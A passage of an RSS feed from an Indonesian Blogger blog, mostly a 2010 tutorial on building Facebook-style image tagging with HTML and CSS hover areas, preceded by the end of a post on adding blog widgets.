&lt;span class="Apple-style-span" style="font-family: arial, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: small; line-height: 20px;"&gt;caranya gampang.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: justify;"&gt;
&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: arial, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: small; line-height: 20px;"&gt;masuk dalam mode &lt;a href="http://draft.blogger.com/home"&gt;draft&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: arial, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;klik Tambah gatget &amp;gt;&amp;gt; silahakn ditambahkan statistik blog dan entri populer..&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: arial, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;semoga artikel saya kali ini dapat membantu...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: arial, sans-serif; font-weight: bold; text-transform: capitalize;"&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5446044059411239717-1712057748836006675?l=naksangka.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/naksangka/~4/Y8pmQwzJtc8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/naksangka/~3/Y8pmQwzJtc8/menambah-widget-populer-posts-dan-blog.html</link><author>noreply@blogger.com (pandewa)</author><media:thumbnail url="http://4.bp.blogspot.com/_xxdfU1yNW68/TH_YG0OjMkI/AAAAAAAAAco/ENjdsYI3_ug/s72-c/blogger.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://naksangka.blogspot.com/2010/09/menambah-widget-populer-posts-dan-blog.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5446044059411239717.post-7346045362271526333</guid><pubDate>Thu, 02 Sep 2010 05:21:00 +0000</pubDate><atom:updated>2010-09-19T11:26:56.063-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CSS</category><category domain="http://www.blogger.com/atom/ns#">Pemprograman</category><category domain="http://www.blogger.com/atom/ns#">HTML</category><title>Tagging Image Menggunakan Css</title><description>&lt;span style="font-family: arial,helvetica,sans-serif; font-size: small"&gt;&lt;u&gt;&lt;b&gt;Tagging Image Menggunakan CSS&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;  &lt;br /&gt;&lt;span style="font-family: arial,helvetica,sans-serif; font-size: small"&gt;&lt;u&gt;&lt;b&gt;       &lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;  &lt;br /&gt;  &lt;div style="text-align: center; clear: both" class="separator"&gt;&lt;a style="margin-left: 1em; margin-right: 1em" href="http://2.bp.blogspot.com/_xxdfU1yNW68/TH8q-esnRGI/AAAAAAAAAcA/n6wZS9tZAzw/s1600/cool-html-codes.jpg" imageanchor="1"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_xxdfU1yNW68/TH8q-esnRGI/AAAAAAAAAcA/n6wZS9tZAzw/s200/cool-html-codes.jpg" width="200" height="150" /&gt;&lt;/a&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: arial,helvetica,sans-serif"&gt;&lt;span style="font-size: small"&gt;Pemprograman yang saya buat ini mirip dengan pemprograman tagging foto yang di gunakan facebook, dengan menggunakan CSS, kita dapat melakukan/memberikan tanda pada foto yang kita inginkan. Dan tagging ini jelas sangat bermanfaat atau membantu kita untuk mengenali foto/image tersebut.&amp;#160; &lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: arial,helvetica,sans-serif"&gt;&lt;span style="font-size: small"&gt;&lt;a href="http://kui.my-php.net/sesuatu/riri.htm"&gt;&lt;/a&gt;&lt;/span&gt;    &lt;br /&gt;&lt;a name="more"&gt;&lt;/a&gt;&lt;span style="font-size: small"&gt;&lt;/span&gt;&lt;/div&gt;  &lt;div style="text-align: justify; font-family: arial,helvetica,sans-serif"&gt;Berikut implementasi proses pembuatannya.&lt;/div&gt;  &lt;div style="text-align: justify; font-family: arial,helvetica,sans-serif"&gt;Buatlah sebuah folder baru, dengan nama : tagging image&amp;#160; &lt;/div&gt;  &lt;div style="text-align: justify; font-family: arial,helvetica,sans-serif"&gt;1. Siapkan 1 foto, dalam tutorial ini, saya menggunakan foto berikut ini :&lt;/div&gt;  &lt;div style="text-align: center; clear: both" class="separator"&gt;&lt;a style="margin-left: 1em; margin-right: 1em" href="http://3.bp.blogspot.com/_xxdfU1yNW68/TH8uzTRk82I/AAAAAAAAAcQ/XuuhO1AytY8/s1600/riri+khairiyah.jpg" imageanchor="1"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_xxdfU1yNW68/TH8uzTRk82I/AAAAAAAAAcQ/XuuhO1AytY8/s200/riri+khairiyah.jpg" width="200" height="150" /&gt;&lt;/a&gt;&lt;/div&gt;  &lt;br /&gt;  &lt;div style="text-align: justify"&gt;2. &lt;span style="font-family: arial,helvetica,sans-serif"&gt;Ketikkan kode HTML berikut, dan simpan dengan nama index.html dalam folder tagging image&amp;#160; &lt;/span&gt;&lt;/div&gt;  &lt;pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;title&amp;gt;Tagging Photo&amp;lt;/title&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;bagian ini akan kita isi dengan kode CSS&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;meta http-equiv=&amp;quot;&lt;span style="color: #8b0000"&gt;Content-Type&lt;/span&gt;&amp;quot; content=&amp;quot;&lt;span style="color: #8b0000"&gt;text/html; charset=iso-8859-1&lt;/span&gt;&amp;quot;&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;  &amp;lt;div id=&amp;quot;&lt;span style="color: #8b0000"&gt;pic&lt;/span&gt;&amp;quot;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;img src=&amp;quot;&lt;span style="color: #8b0000"&gt;riri khairiyah.jpg&lt;/span&gt;&amp;quot; width=&amp;quot;&lt;span style="color: #8b0000"&gt;640&lt;/span&gt;&amp;quot; height=&amp;quot;&lt;span style="color: #8b0000"&gt;425&lt;/span&gt;&amp;quot;?&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;     alt=&amp;quot;&lt;span style="color: #8b0000"&gt;&lt;/span&gt;&amp;quot; /&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;ul&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;li &lt;span style="color: #0000ff"&gt;class&lt;/span&gt;=&amp;quot;&lt;span style="color: #8b0000"&gt;riri&lt;/span&gt;&amp;quot;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;a href=&amp;quot;&lt;span style="color: #8b0000"&gt;#&lt;/span&gt;&amp;quot; title=&amp;quot;&lt;span style="color: #8b0000"&gt;Riri Khairiyah&lt;/span&gt;&amp;quot;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;Riri Khairiyah&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/li&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;  &amp;lt;div align=&amp;quot;&lt;span style="color: #8b0000"&gt;left&lt;/span&gt;&amp;quot;&amp;gt;*) &amp;lt;blockquote&amp;gt;Arahkan kursor pada area wajah. &amp;lt;img src=&amp;quot;&lt;span style="color: #8b0000"&gt;icon_smile.gif&lt;/span&gt;&amp;quot; width=&amp;quot;&lt;span style="color: #8b0000"&gt;15&lt;/span&gt;&amp;quot; height=&amp;quot;&lt;span style="color: #8b0000"&gt;15&lt;/span&gt;&amp;quot;&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;  &amp;lt;/div&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/html&amp;gt; &lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify"&gt;3.&lt;span style="font-family: arial,helvetica,sans-serif; font-size: small"&gt; Ketikkan kode CSS berikut dibawah kode &lt;span style="color: red"&gt;&amp;lt;title&amp;gt;Tagging Photo&amp;lt;/title&amp;gt;&lt;/span&gt; (tulang punggung program kita )&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;style&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;width: 640px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;height: 425px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;position: relative;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic ul {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;margin: 0;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;padding: 0;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;list-style: none;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic a {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;position: absolute;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;width: 94px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;height: 69px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;text-indent: -1000em;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic .riri a {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #0000ff"&gt;top&lt;/span&gt;: 136px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;left: 257px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic a:hover {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;border: 1px solid #ffff00;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}    &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;body {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;    background-color: #003366;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/style&amp;gt;&lt;/pre&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Sehingga keseluruhan kode pemprograman kita menjadi seperti ini :&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #fbfbfb; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;title&amp;gt;Tagging Photo&amp;lt;/title&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;style&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;width: 640px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;height: 425px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;position: relative; &lt;span style="color: #008000"&gt;/* The key to this technique */&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic ul {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;margin: 0;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;padding: 0;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;list-style: none;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic a {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;position: absolute;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;width: 94px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;height: 69px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;text-indent: -1000em;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic .riri a {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;span style="color: #0000ff"&gt;top&lt;/span&gt;: 136px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;left: 257px;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;#pic a:hover {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;border: 1px solid #ffff00;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}    &lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;body {&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;    background-color: #003366;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;meta http-equiv=&amp;quot;&lt;span style="color: #8b0000"&gt;Content-Type&lt;/span&gt;&amp;quot; content=&amp;quot;&lt;span style="color: #8b0000"&gt;text/html; charset=iso-8859-1&lt;/span&gt;&amp;quot;&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 10px"&gt;  &amp;lt;div id=&amp;quot;&lt;span style="color: #8b0000"&gt;pic&lt;/span&gt;&amp;quot;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style="background-color: #fbfbfb; margin: 0em; 